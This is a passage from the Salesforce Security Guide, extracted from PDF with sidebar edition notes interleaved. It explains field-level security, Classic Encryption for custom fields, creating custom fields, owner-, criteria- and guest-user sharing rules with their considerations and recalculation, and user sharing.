Interface Interfaces Available in: Professional,
Enterprise, Performance,
Users can read and edit the Read and Edit Visible Unlimited, Developer, and
field. Database.com Editions
Users can read but not edit the Read Visible and Read-Only
field.

Users can't read or edit the None None

field.

115
Salesforce Security Guide Field-Level Security

Classic Encryption for Custom Fields

Restrict other Salesforce users from seeing custom text fields you want to keep private. Only users
EDITIONS
with the permission “View Encrypted Data” can see data in encrypted custom text fields.

Note: This information is about Classic Encryption and not Shield Platform Encryption. Available in: both Salesforce
Classic and Lightning
Before you begin working with encrypted custom fields, review these implementation notes, Experience
restrictions, and best practices.
Available in: Developer,
Enterprise, Performance,
Implementation Notes Unlimited, and
Database.com Editions
• Encrypted fields are encrypted with 128-bit master keys and use the Advanced Encryption
Standard (AES) algorithm. You can archive, delete, and import your master encryption key. To
enable master encryption key management, contact Salesforce.
• You can use encrypted fields in email templates but the value is always masked regardless of whether you have the “View Encrypted
Data” permission.
• If you have created encrypted custom fields, make sure that your organization has “Require secure connections (HTTPS)” enabled.
• If you have the “View Encrypted Data” permission and you grant login access to another user, the user can see encrypted fields in
plain text.
• Only users with the “View Encrypted Data” permission can clone the value of an encrypted field when cloning that record.
• Only the <apex:outputField> component supports presenting encrypted fields in Visualforce pages.

Restrictions
Encrypted text fields:
• Cannot be unique, have an external ID, or have default values.
• For leads are not available for mapping to other objects.
• Are limited to 175 characters because of the encryption algorithm.
• Are not available for use in filters such as list views, reports, roll-up summary fields, and rule filters.
• Cannot be used to define report criteria, but they can be included in report results.
• Are not searchable, but they can be included in search results.
• Are not available for: Connect Offline, Salesforce for Outlook, lead conversion, workflow rule criteria or formulas, formula fields,
outbound messages, default values, and Web-to-Lead and Web-to-Case forms.

Best Practices
• Encrypted fields are editable regardless of whether the user has the “View Encrypted Data” permission. Use validation rules, field-level
security settings, or page layout settings to prevent users from editing encrypted fields.
• You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the user has the
“View Encrypted Data” permission.
• Encrypted field data is not always masked in the debug log. Encrypted field data is masked if the Apex request originates from an
Apex Web service, a trigger, a workflow, an inline Visualforce page (a page embedded in a page layout), or a Visualforce email
template. In other cases, encrypted field data isn’t masked in the debug log, like for example when running Apex from the Developer
Console.

116
Salesforce Security Guide Field-Level Security

• Existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data type. To
encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store that data, and import
that data into the new encrypted field.
• Mask Type is not an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the data
entered matches the mask type selected.
• Use encrypted custom fields only when government regulations require it because they involve more processing and have
search-related limitations.

Note: This page is about Classic Encryption, not Shield Platform Encryption. What's the difference? on page 157

IN THIS SECTION:
Create Custom Fields
Capture your unique business data by storing it in custom fields. When you create a custom field, you configure where you want it
to appear and optionally control security at the field level.

117
Salesforce Security Guide Field-Level Security

Create Custom Fields

Capture your unique business data by storing it in custom fields. When you create a custom field,
EDITIONS
you configure where you want it to appear and optionally control security at the field level.
Watch a Demo: How to Create a Custom Field in Salesforce Available in: both Salesforce
Classic (not available in all
Want to customize Salesforce so it captures all your business data? This short video walks you
orgs) and Lightning
through how to create a custom picklist field, from choosing the correct field type to applying field
Experience
level security.
Available in: Contact
Watch a Demo: How to Add a Custom Field in Salesforce (Lightning Experience)
Manager,Essentials, Group,
Want to add and arrange a new field while viewing an individual record for an object? This short Professional, Enterprise,
video walks you through creating a picklist field while viewing a contact, and then changing the Performance, Unlimited,
page layout for the field. Developer, and
Database.com Editions
Before you begin, determine the type of field you want to create.
Salesforce Connect external
Note: When your org is close to the limit of 800 custom fields and you delete or create fields, objects are available in:
field creation can fail. The physical delete process reclaims and cleans fields, making them Developer Edition and for
count temporarily toward the limit. The delete process runs only when the queue is full, so an extra cost in: Enterprise,
it can take days or weeks to start. In the meantime, the deleted fields are still counted as part Performance, and
of the limit. To request immediate deletion of fields, contact Salesforce Support. Unlimited Editions
1. From the management settings for the object you want to add a field to, go to Fields. Custom Custom fields aren’t
task and event fields are accessible from the object management settings for Activities. available on Activities in
Group Edition
2. Click New.
Custom settings aren’t
Tip: On custom objects, you can also set field dependencies and field history tracking in available in Professional
this section. Edition

3. Choose the type of field and click Next. Consider the following. Layouts aren’t available in
Database.com
• Some data types are available for certain configurations only. For example, the
Master-Detail Relationship option is available for custom objects only when
the custom object doesn’t already have a master-detail relationship. USER PERMISSIONS
• Custom settings and external objects allow only a subset of the available data types.
To create or change custom
• You can’t add a multi-select picklist, rich text area, or dependent picklist custom field to fields:
opportunity splits. • Customize Application
• Relationship fields count towards custom field limits.
• Additional field types may appear if an AppExchange package using those field types is
installed.
• The Roll-Up Summary option is available on certain objects only.
• Field types correspond to API data types.
• If your organization uses Shield Platform Encryption, ensure you understand how to encrypt custom fields using the Shield
Platform Encryption offering.

4. For relationship fields, associate an object with the field and click Next.
5. For indirect lookup relationship fields, select a unique, external ID field on the parent object, and then click Next. The parent field
values are matched against the values of the child indirect lookup relationship field to determine which records are related to each
other.
6. To base a picklist field on a global picklist value set, select the value set to use.

118
Salesforce Security Guide Field-Level Security

7. Enter a field label.

Salesforce populates Field Name using the field label. This name can contain only underscores and alphanumeric characters,
and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores. Use the field name for merge fields in custom links, custom s-controls, and when referencing the field
from the API.

Tip: Ensure that the custom field name and label are unique for that object.
• If a standard and custom field have identical names or labels, the merge field displays the custom field value.
• If two custom fields have identical names or labels, the merge fieldcan display an unexpected value.
If you create a field label called Email and a standard field labeled Email exists, the merge field is unable to distinguish
between the fields. Adding a character to the custom field name makes it unique. For example, Email2.

8. Enter field attributes and select the appropriate checkboxes to specify whether the field must be populated and what happens if
the record is deleted.
9. For master-detail relationships on custom objects, optionally select Allow reparenting to allow a child record in the master-detail
relationship to be reparented to a different parent record.
10. For relationship fields, optionally create a lookup filter to limit search results for the field. Not available for external objects.
11. Click Next.
12. In Enterprise, Unlimited, Performance, and Developer Editions, specify the field’s access settings for each profile, and click Next.

Access Level Enabled Settings

Users can read and edit the field. Visible

Users can read but not edit the field. Visible and Read-Only

Users can’t read or edit the field. None

Note:
• When you create a custom field, by default the field isn’t visible or editable for portal profiles, unless the field is universally
required.

13. Choose the page layouts that will display the editable field and click Next.

Field Location on Page Layout

Normal Last field in the first two-column section.

Long text area End of the first one-column section.

User Bottom of the user detail page.

Universally required Can’t remove it from page layouts or make read only.

14. For relationship fields, optionally create an associated records related list and add it to page layouts for that object.
• To edit the related list name on page layouts, click Related List Label and enter the new name.

119
Salesforce Security Guide Sharing Rules

• To add the related list to customized page layouts, select Append related list to users’ existing personal
customizations.

15. Click Save to finish or Save & New to create more custom fields.

Note: Creating fields can require changing a large number of records at once. If your request is queued to process these changes
efficiently, you receive an email notification when the process has completed.

SEE ALSO:
Salesforce Help: Find Object Management Settings

Sharing Rules
Use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing
EDITIONS
rules give particular users greater access by making automatic exceptions to your org-wide sharing
settings. Available in: both Salesforce
Note: Who Sees What: Record Access via Sharing Rules (English only) Classic (not available in all
orgs) and Lightning
Watch how you can grant access to records using sharing rules. Experience

Like role hierarchies, a sharing rule can never be stricter than your org-wide default settings. It simply Available in: Professional,
allows greater access for particular users. Enterprise, Performance,
Unlimited, and Developer
You can base a sharing rule on record ownership or other criteria. After you select which records
Editions
to share, you define which groups or users to extend access to and what level of access they have.
See Sharing Rule
Note: You can define up to 300 total sharing rules for each object, including up to 50 Considerations for more
criteria-based or guest user sharing rules, if available for the object. information on availability.
You can create these types of sharing rules. Your org could have other objects that are available for
sharing rules.

Type Based On Set Default Sharing Access For

Account sharing rules Account owner or other criteria, including Accounts and their associated contracts,
account record types or field values opportunities, cases, and optionally,
contacts and orders

Account territory sharing rules (Not available Territory assignment Accounts and their associated cases,
with Enterprise Territory Management) contacts, contracts, and opportunities

Asset sharing rules Asset owner or other criteria, including asset Individual assets
record types or field values

Campaign sharing rules Campaign owner or other criteria, including Individual campaigns
campaign record types or field values

Case sharing rules Case owner or other criteria, including case Individual cases and associated accounts
record types or field values

Contact sharing rules Contact owner or other criteria, including Individual contacts and associated accounts
contact record types or field values

120
Salesforce Security Guide Sharing Rules

Type Based On Set Default Sharing Access For

Custom object sharing rules Custom object owner or other criteria, Individual custom object records
including custom object record types or
field values

Data privacy sharing rules Data privacy record owner or other criteria, Individual data privacy records
including field values. Data privacy records
are based on the Individual object.

Knowledge article sharing rules Knowledge article owner or other criteria, Individual article versions
including Knowledge object record types
or field values

Flow interview sharing rules Flow interview owner or other criteria, such Individual flow interviews
as the pause reason

Lead sharing rules Lead owner or other criteria, including lead Individual leads
record types or field values

Location sharing rules Location owner or other criteria Individual locations

Maintenance plan sharing rules Maintenance plan owner or other criteria Individual maintenance plans

Opportunity sharing rules Opportunity owner or other criteria, Individual opportunities and their associated
including opportunity record types or field accounts
values

Order sharing rules Order owner or other criteria, including Individual orders
order record types or field values

Product item sharing rules Product item owner or other criteria Individual product items

Product request sharing rules Product request owner only; criteria-based Individual product requests
sharing rules aren’t available

Product transfer sharing rules Product transfer owner only; criteria-based Individual product transfers
sharing rules aren’t available

Return order sharing rules Return order owner or other criteria Individual return orders

Service appointment sharing rules Service appointment owner or other criteria Individual service appointments

Service contract sharing rules Service contract owner or other criteria Individual service contracts

Service crew sharing rules Service crew owner only; criteria-based Individual service crews
sharing rules aren’t available

Service resource sharing rules Service resource owner or other criteria Individual service resources

Service territory sharing rules Service territory owner or other criteria Individual service territories

Shipment sharing rules Shipment owner only; criteria-based sharing Individual shipments
rules aren’t available

Time sheet sharing rules Time sheet owner only; criteria-based Individual time sheets
sharing rules aren’t available

121
Salesforce Security Guide Sharing Rules

Type Based On Set Default Sharing Access For

User sharing rules Group membership or other criteria, Individual users
including username and whether the user
is active

User provisioning request sharing rules User provisioning request owner, only; Individual user provisioning requests
criteria-based sharing rules aren’t available

Work order sharing rules Work order owner or other criteria, including Individual work orders
work order record types or field values

Work type sharing rules Work type owner or other criteria Individual work types

Note: Developers can use Apex to programmatically share custom objects based on record owners but not other criteria.

IN THIS SECTION:
Sharing Rule Types
You can base a sharing rule on record ownership or other criteria.
Create Owner-Based Sharing Rules
An owner-based sharing rule opens access to records owned by certain users.
Create Criteria-Based Sharing Rules
A criteria-based sharing rule determines with whom to share records based on field values.
Create Guest User Sharing Rules
A guest user sharing rule is a special type of criteria-based sharing rule and the only way to grant record access to unauthenticated
guest users. Guest user sharing rules can only grant Read Only access.
Sharing Rule Categories
When you define a sharing rule, you can choose from the following categories in the owned by members of and Share
with dropdown lists. Depending on the type of sharing rule and the features enabled for your organization, some categories may
not appear.
Edit Sharing Rules
For a sharing rule based on owner or group membership, you can edit only the sharing access settings. For a sharing rule based on
other criteria, you can edit the criteria and sharing access settings.
Sharing Rule Considerations
Review the following notes before using sharing rules.
Recalculate Sharing Rules
When you make changes to groups, roles, and territories, sharing rules are reevaluated to add or remove access as necessary.
Asynchronous Parallel Recalculation of Sharing Rules
Speed up sharing rule recalculation by running it asynchronously and in parallel.

122
Salesforce Security Guide Sharing Rules

Sharing Rule Types

You can base a sharing rule on record ownership or other criteria.
EDITIONS

Owner-Based Sharing Rules Available in: both Salesforce

Classic (not available in all
An owner-based sharing rule opens access to records owned by certain users. For example, a orgs) and Lightning
company’s sales managers need to see opportunities owned by sales managers in a different region. Experience
The U.S. sales manager could give the APAC sales manager access to the opportunities owned by
the U.S. team using owner-based sharing. Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Criteria-Based Sharing Rules Editions
A criteria-based sharing rule determines with whom to share records based on field values. For See Sharing Rule
example, you have a custom object for job applications, with a custom picklist field named Considerations for more
“Department.” A criteria-based sharing rule could share all job applications in which the Department information on availability.
field is set to “IT” with all IT managers in your organization.

Note:
• A criteria-based sharing rule is based on record values and not the record owners. However,
a role or territory hierarchy still allows users higher in the hierarchy to access the records.
• You can’t use Apex to create a criteria-based sharing rule. And you can’t test criteria-based
sharing using Apex.
• Starting with API version 24.0, you can use the Metadata API SharingRules type to create
criteria-based sharing rules.

You can create criteria-based sharing rules for accounts, assets, campaigns, cases, contacts, leads, opportunities, work orders, and custom
objects. For the sharing criteria, record types and these field types are supported.
• Auto Number
• Checkbox
• Date
• Date/Time
• Email
• Lookup Relationship (to user ID or queue ID)
• Number
• Percent
• Phone
• Picklist
• Text
• Text Area
• URL

Note: Text and Text Area are case-sensitive. For example, a criteria-based sharing rule that specifies “Manager” in a text field
doesn’t share records that have “manager” in the field. To create a rule with several common cases of a word, enter each value
separated by a comma.

123
Salesforce Security Guide Sharing Rules

Guest User Sharing Rules

A guest user sharing rule is a special type of criteria-based sharing rule and the only way to grant record access to unauthenticated guest
users.

Warning: The guest user sharing rule type grants access to guest users without login credentials. By creating a guest user sharing
rule, you're allowing immediate and unlimited access to all records matching the sharing rule's criteria to anyone. To secure your
Salesforce data and give your guest users access to what they need, consider all the use cases and implications of creating this
type of sharing rule. Implement security controls that you think are appropriate for the sensitivity of your data. Salesforce is not
responsible for any exposure of your data to unauthenticated users based on this change from default settings.
You can't share records owned by high-volume Experience Cloud site users with guest users using any sharing method. In general, you
can't use sharing rules to share records owned by high-volume users or use sharing rules to grant them access to records.
You can also create sharing rules based on account territories or group membership.

Create Owner-Based Sharing Rules

An owner-based sharing rule opens access to records owned by certain users.
EDITIONS
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups
have been created. Available in: both Salesforce
Classic (not available in all
2. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings.
orgs) and Lightning
3. In the Sharing Rules related list for the object, click New. Experience
4. Enter the label name and rule name. The label name appears on the user interface. The rule Available in: Professional,
name is a unique name used by the API and managed packages. Enterprise, Performance,
5. Optionally, enter a description of the sharing rule, up to 1,000 characters. Unlimited, and Developer
Editions
6. For the rule type, select Based on record owner.
7. Specify which users’ records are shared. For owned by members of, select a category from the
first dropdown list and a set of users from the second dropdown list or lookup field.
USER PERMISSIONS

8. Specify the users who get access to the data. For Share with, select a category from the first To create sharing rules:
dropdown list and a set of users from the second dropdown list or lookup field. • Manage Sharing
9. Select sharing access settings for users. Some access settings aren’t available for some objects
or in some situations.

Access Setting Description

Private Users can’t view or update records, unless access is granted
outside of this sharing rule.
Available only for associated contacts, opportunities, and cases.

Read Only Users can view, but not update, records.

Read/Write Users can view and update records.

Full Access Users in the selected group, role, or territory can view, edit,
transfer, delete, and share the record, just like the record’s owner.
With a Full Access sharing rule, users can also view, edit, delete,
and close activities associated with the record if the org-wide
sharing setting for activities is Controlled by Parent.

124
Salesforce Security Guide Sharing Rules

Access Setting Description

Available for campaigns only.

Note: Contact Access isn’t available when the organization-wide default for contacts is set to Controlled by Parent.

10. Click Save.

Create Criteria-Based Sharing Rules

A criteria-based sharing rule determines with whom to share records based on field values.
EDITIONS
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups
have been created. Available in: both Salesforce
Classic (not available in all
2. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings.
orgs) and Lightning
3. In the Sharing Rules related list for the object, click New. Experience
4. Enter the label name and rule name. The label name appears on the user interface. The rule Available in: Professional,
name is a unique name used by the API and managed packages. Enterprise, Performance,
5. Optionally, enter a description of the sharing rule, up to 1,000 characters. Unlimited, and Developer
Editions
6. For the rule type, select Based on criteria.
7. Specify the field, operator, and value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal
USER PERMISSIONS
number or string. To change the AND relationship between filters, click Add Filter Logic. The To create sharing rules:
value criteria is limited to 240 characters, and strings or picklist values that go beyond this limit • Manage Sharing
are truncated.

Note: To use a field that’s not supported by criteria-based sharing rules, create a workflow
rule or Apex trigger to copy the value of the field into a text or numeric field. Then use
that field as the criterion.

8. Specify the users who get access to the data. For Share with, select a category from the first dropdown list and a set of users from
the second dropdown list or lookup field.
9. Select sharing access settings for users. Some access settings aren’t available for some objects or in some situations.

Access Setting Description

Private Users can’t view or update records, unless access is granted
outside of this sharing rule.
Available only for associated contacts, opportunities, and cases.

Read Only Users can view, but not update, records.

Read/Write Users can view and update records.

125
Salesforce Security Guide Sharing Rules

Access Setting Description

Full Access Users in the selected group, role, or territory can view, edit,
transfer, delete, and share the record, just like the record’s owner.
With a Full Access sharing rule, users can also view, edit, delete,
and close activities associated with the record if the org-wide
sharing setting for activities is Controlled by Parent.
Available for campaigns only.

Note: Contact Access isn’t available when the organization-wide default for contacts is set to Controlled by Parent.

10. Click Save.

Create Guest User Sharing Rules

A guest user sharing rule is a special type of criteria-based sharing rule and the only way to grant
EDITIONS
record access to unauthenticated guest users. Guest user sharing rules can only grant Read Only
access. Available in: both Salesforce
Important: You must create guest user sharing rules to open up record access to guest Classic (not available in all
orgs) and Lightning
users. Keep in mind that the guest user sharing rule type grants access to users without login
Experience
credentials. By creating a guest user sharing rule, you're allowing immediate and unlimited
access to all records matching the sharing rule's criteria to anyone. To secure your Salesforce Available in: Professional,
data and give your guest users access to what they need, consider all the use cases and Enterprise, Performance,
implications of creating this type of sharing rule. Implement security controls that you think Unlimited, and Developer
are appropriate for the sensitivity of your data. Salesforce is not responsible for any exposure Editions
of your data to unauthenticated users based on this change from default settings.
1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings. USER PERMISSIONS
2. In the Sharing Rules related list for the object, click New.
To create sharing rules:
3. Enter the label name and rule name. The label name appears on the user interface. The rule • Manage Sharing
name is a unique name used by the API and managed packages.
4. Optionally, enter a description of the sharing rule, up to 1,000 characters.
5. For the rule type, select Guest user, based on criteria.
6. Specify the field, operator, and value criteria that records must match to be included in the sharing rule. The fields available depend
on the object selected, and the value is always a literal number or string. To change the AND relationship between filters, click Add
Filter Logic. The value criteria is limited to 240 characters, and strings or picklist values that go beyond this limit are truncated.

Note: To use a field that’s not supported by criteria-based sharing rules, create a workflow rule or Apex trigger to copy the
value of the field into a text or numeric field. Then use that field as the criterion.

7. Specify the users who get access to the data.

8. Click Save.

126
Salesforce Security Guide Sharing Rules

Sharing Rule Categories

When you define a sharing rule, you can choose from the following categories in the owned by
EDITIONS
members of and Share with dropdown lists. Depending on the type of sharing rule and
the features enabled for your organization, some categories may not appear. Available in: both Salesforce
Note: You can’t include high-volume E users in sharing rules because they don’t have roles Classic (not available in all
orgs) and Lightning
and can’t be in public groups.
Experience

Category Description Available in: Professional,

Enterprise, Performance,
Managers Groups All direct and indirect managers of a user.
Unlimited, and Developer
Manager Subordinates A manager and all direct and indirect reports who he or she manages. Editions
Groups See Sharing Rule
Considerations for more
Queues All records owned by the queue, excluding records owned by
information on availability.
individual members of the queue. Available only in the owned by
members of list.

Public Groups All public groups defined by your administrator.

If Salesforce Experiences or portals are enabled for your organization,
the All Partner Users or All Customer Portal Users group displays.
These groups include all partner or customer users, respectively,
allowed to access your site or portal, except for high-volume users.

Roles All roles defined for your organization, excluding site and portal roles.
This includes all of the users in the specified role.

Portal Roles All roles defined for your organization’s site or portal. This includes
all users in the specified role, except high-volume users.
A site or portal role name includes the name of the account that it’s
associated with, except for person accounts, which include the user
Alias.

Roles and Subordinates All roles defined for your organization. This includes all of the users
in the specified role plus all of the users in roles below that role. This
is only available when no Salesforce Experience sites or portals are
enabled for your organization.

Portal Roles and All roles defined for your organization’s site or portal. This includes
Subordinates all of the users in the specified role plus all of the users below that
role in the site or portal role hierarchy, except for high-volume users.
A site or portal role name includes the name of the account that it’s
associated with, except for person accounts, which include the user
Alias.

127
Salesforce Security Guide Sharing Rules

Category Description
Roles and Internal Subordinates All roles defined for your organization. This includes all of the users in the specified role plus all
of the users in roles below that role, excluding site and portal roles.
This category is displayed only if Salesforce Experiences or portals are enabled for your
organization.

Roles, Internal and Portal All roles defined for your organization. This includes all of the users in the specified role plus all
Subordinates of the users in roles below that role, including site and portal roles.

Territories All territories defined for your organization.

Territories and Subordinates All territories defined for your organization. This includes the specified territory plus all territories
below it.

Guest User All unauthenticated users in a site.

Edit Sharing Rules

For a sharing rule based on owner or group membership, you can edit only the sharing access
EDITIONS
settings. For a sharing rule based on other criteria, you can edit the criteria and sharing access
settings. Available in: both Salesforce
1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings. Classic (not available in all
orgs) and Lightning
2. In the Sharing Rules related list for the object, click Edit.
Experience
3. Change the label and rule name if desired.
Available in: Professional,
4. If you selected a rule that's based on owner or group membership, skip to the next step. Enterprise, Performance,
If you selected a criteria-based or guest user sharing rule, specify the criteria that records must Unlimited, and Developer
match to be included in the sharing rule. The fields available depend on the object selected, Editions
and the value must be a literal number or string. To change the AND relationship between See Sharing Rule
filters, click Add Filter Logic. Considerations for more
information on availability.
Note: You must create guest user sharing rules to open up record access to guest users.
Keep in mind that the guest user sharing rule type grants access to users without login
credentials. By creating a guest user sharing rule, you're allowing immediate and unlimited USER PERMISSIONS
access to all records matching the sharing rule's criteria to anyone. To secure your
Salesforce data and give your guest users access to what they need, consider all the use To create sharing rules:
cases and implications of creating this type of sharing rule. Implement security controls • Manage Sharing
that you think are appropriate for the sensitivity of your data. Salesforce is not responsible
for any exposure of your data to unauthenticated users based on this change from default
settings.

5. Select sharing access settings for users. Some access settings aren’t available for some objects or in some situations.

Access Setting Description

Private Users can’t view or update records, unless access is granted
outside of this sharing rule.
Available only for associated contacts, opportunities, and cases.

128
Salesforce Security Guide Sharing Rules

Access Setting Description

Read Only Users can view, but not update, records.
Guest user sharing rules can only grant Read Only access.

Read/Write Users can view and update records.

Full Access Users in the selected group, role, or territory can view, edit,
transfer, delete, and share the record, just like the record’s owner.
With a Full Access sharing rule, users can also view, edit, delete,
and close activities associated with the record if the org-wide
sharing setting for activities is Controlled by Parent.
Available for campaigns only.

Note: Contact Access isn’t available when the organization-wide default for contacts is set to Controlled by Parent.

6. Click Save.

Sharing Rule Considerations

Review the following notes before using sharing rules.
EDITIONS
General Considerations
Available in: both Salesforce
• You can use sharing rules to grant wider access to data. You can’t restrict access below your
Classic (not available in all
organization-wide default levels.
orgs) and Lightning
• To create sharing rules, your organization-wide defaults must be Public Read Only or Private. Experience
• If multiple sharing rules give a user different levels of access to a record, the user gets the
Available in: Professional,
most permissive access level.
Enterprise, Performance,
• Sharing rules automatically grant additional access to related records. For example, Unlimited, and Developer
opportunity sharing rules give role or group members access to the account associated Editions
with the shared opportunity if they don’t already have it. Likewise, contact and case sharing
rules provide the role or group members with access to the associated account as well.
• Users in the role hierarchy are automatically granted the same access that users below them in the hierarchy have from a sharing
rule, provided that the object is a standard object or the Grant Access Using Hierarchies option is selected.
• Only users with licenses that support roles can be included in sharing rules, both in receiving access and in having records they
own be shared. For this reason, high-volume Experience Cloud site users, Chatter External, and Chatter Free users can't be
included in sharing rules.
• Some users created for org or app maintenance, such as Automated Process and License Manager users, can't be included in
sharing rules.
• Regardless of sharing rules, users can, at a minimum, view the accounts in their territories. Also, users can be granted access to
view and edit the contacts, opportunities, and cases associated with their territories’ accounts.
• Developers can use Apex to programmatically share custom objects (based on record owners, but not other criteria). This doesn’t
apply to User Sharing.

129
Salesforce Security Guide Sharing Rules

Availability
• Account, account territory, campaign, case, contact, lead, opportunity, and custom object sharing rules are available for Enterprise,
Performance, Unlimited, and Developer Editions.
• Only account, asset, campaign, and contact sharing rules are available in Professional Edition.
• Only custom object sharing rules are available in Database.com
• Account territory sharing rules aren’t available with Enterprise Territory Management.
• Criteria-based sharing rules aren’t available for all objects.
• Your org might have other objects that are available for sharing rules. See the Sharing Settings setup page to see which sharing
rules are available.
Updating
• Creating an owner-based sharing rule with the same source and target groups as an existing rule overwrites the existing rule.
• Once a sharing rule has been saved, you can’t change the Share with field settings when you edit the sharing rule.
• Sharing rules apply to all new and existing records that meet the definition of the source data set.
• Sharing rules apply to both active and inactive users.
• When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new access
levels.
• When you delete a sharing rule, the sharing access created by that rule is automatically removed.
• When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access as
necessary.
• When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the transferred
records as necessary.
• Making changes to sharing rules may require changing a large number of records at once. If your request is queued to process
these changes efficiently, you receive an email notification when the process has completed.
• Lead sharing rules don’t automatically grant access to lead information after leads are converted into account, contact, and
opportunity records.
Site and Portal Users
• You can create rules to share records between most types of site or portal and Salesforce users. Similarly, you can create sharing
rules between site or portal users from different accounts as long as their license type supports roles. However, you can’t include
high-volume Experience Cloud site users in sharing rules because they don’t have roles and can’t be in public groups.
• After enabling digital experiences, existing sharing rules automatically extend access to external users. This change occurs
because sharing rules that grant access to Roles and Subordinates are converted to grant access to Roles, Internal and Portal
Subordinates instead. Update your sharing rules to ensure that external users can't access records or folders containing sensitive
data.
• You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal Subordinates
instead by using the Convert External User Access Wizard on the Digital Experiences Settings Setup page. Furthermore, you can
use this wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by all
users except for external users. For more information, see Considerations for the Convert External User Access Wizard.
• You can only use guest user sharing rules to share records with unauthenticated guest users.
• For more information on using sharing rules in Experience Cloud sites, check out Who Sees What in Communities: Sharing Rules.
Managed Package Fields
If a criteria-based sharing rule references a field from a licensed managed package whose license has expired, (expired) is
appended to the label of the field. The field label is displayed in the field dropdown list on the rule’s definition page in Setup.

130
Salesforce Security Guide Sharing Rules

Criteria-based sharing rules that reference expired fields aren't recalculated, and new records aren't shared based on those rules.
However, the sharing of existing records prior to the package's expiration is preserved.

Recalculate Sharing Rules

When you make changes to groups, roles, and territories, sharing rules are reevaluated to add or
EDITIONS
remove access as necessary.
Changes could include adding or removing individual users from a group, role, or territory, changing Available in: both Salesforce
which role a particular role reports to, changing which territory a particular territory is subordinate Classic (not available in all
to, or adding or removing a group from within another group. orgs) and Lightning
Experience
Note: Use the Recalculate buttons on the Sharing Rules related lists only if sharing rule
updates have failed or aren’t working as expected. Available in: Professional,
Enterprise, Performance,
To manually recalculate an object’s sharing rules: Unlimited, and Developer
1. From Setup, in the Quick Find box, enter Sharing Settings, then select Sharing Settings. Editions
2. In the Sharing Rules related list for the object you want, click Recalculate. See Sharing Rule
Considerations for more
3. If you want to monitor the progress of a recalculation, from Setup, in the Quick Find box, enter
information on availability.
Background Jobs, then select Background Jobs.

Note: The Recalculate button is disabled when group membership or sharing rule
calculations are deferred. USER PERMISSIONS

When sharing is recalculated, Salesforce also runs all Apex sharing recalculations. During sharing To recalculate sharing rules:
rule recalculation, related object sharing rules are calculated as well. For example, when recalculating • Manage Sharing
sharing rule for opportunities, account sharing rules are recalculated since opportunity is a detail
of an account object. You receive an email notification when the recalculation is completed for all
affected objects.
Automatic sharing rule calculation is enabled by default. You can defer sharing rule calculation by suspending and resuming at your
discretion.

Asynchronous Parallel Recalculation of Sharing Rules

Speed up sharing rule recalculation by running it asynchronously and in parallel.
EDITIONS
When you create, update, or delete sharing rules, the resulting recalculation is processed
asynchronously and in parallel in the background, which speeds up the process and provides better Available in: both Salesforce
resilience to site operations such as patches and server restarts. You’ll receive an email notification Classic (not available in all
upon completion. Before the recalculation is completed, you can’t run other sharing operations orgs) and Lightning
such as creating a sharing rule or updating the organization-wide defaults. Experience

Parallel sharing rule recalculation is also run if you click the Recalculate button on the Sharing Available in: Professional,
Settings or Defer Sharing Calculations pages. Enterprise, Performance,
Unlimited, and Developer
You can monitor the progress of your parallel recalculation on the Background Jobs page or view
Editions
your recent sharing operations on the View Setup Audit Trail page.
See Sharing Rule
Note: If the number of impacted records from an owner-based sharing rule insert or update Considerations for more
is less than 25,000, recalculation runs synchronously and you won’t receive an email notification information on availability.
when it’s completed. Owner-based sharing rule inserts and updates impacting less than
25,000 records are not available on the Background Jobs page.

131
Salesforce Security Guide User Sharing

Recalculation of sharing rules maintains implicit sharing between accounts and child records. In the Background Jobs page, these
processes correspond to these job sub types: Account — Extra Parent Access Removal and Account — Parent Access Grant.
Additionally, deleting a sharing rule corresponds to the job sub type Object — Access Cleanup, denoting that irrelevant share rows
are removed.

User Sharing
User Sharing enables you to show or hide an internal or external user from another user in your
EDITIONS
organization.
Watch a demo: Who Sees What: User Sharing (English only) Available in: both Salesforce
Classic (not available in all
With User Sharing, you can:
orgs) and Lightning
• Assign the “View All Users” permission to users who need to see or interact with all users. This Experience
permission is automatically enabled for users who have the “Manage Users” permission.
Available in: Enterprise,
• Set the organization-wide default for user records to Private or Public Read Only. Performance, Unlimited,
• Create user sharing rules based on group membership or other criteria. and Developer Editions
• Create manual shares for user records to open up access to individual users or groups.
• Control the visibility of external users.

IN THIS SECTION:
Understanding User Sharing
Review these considerations before you implement user sharing.
Set the Org-Wide Sharing Defaults for User Records
Set the org-wide sharing defaults for the user object before opening up access.

Understanding User Sharing

Review these considerations before you implement user sharing.
EDITIONS
Granting access to a user record makes the user’s detail page visible to others. It also makes the
user visible in lookups, list views, search, and so on. Available in: both Salesforce
Classic (not available in all
“View All Users” permission
orgs) and Lightning
This permission can be assigned to users who need Read access to all users, regardless of the
Experience
sharing settings. If you already have the “Manage Users” permission, you’re automatically granted
the “View All Users” permission. Manual sharing available in:
Salesforce Classic
Organization-wide defaults for user records
This setting defaults to Private for external users and Public Read Only for internal users. When Available in: Professional,
the default access is set to Private, users can only read and edit their own user record. Users Enterprise, Performance,
with subordinates in the role hierarchy maintain read access to the user records of those Unlimited, and Developer
subordinates. Editions
User sharing rules
General sharing rule considerations apply to user sharing rules. User sharing rules are based on
membership to a public group, role, or territory. Each sharing rule shares members of a source group with those of the target group.
You must create the appropriate public groups, roles, or territories before creating your sharing rules. Users inherit the same access
as users below them in the role hierarchy.

132
Salesforce Security Guide User Sharing

Manual sharing for user records

Manual sharing can grant read or edit access on an individual user, but only if the access is greater than the default access for the
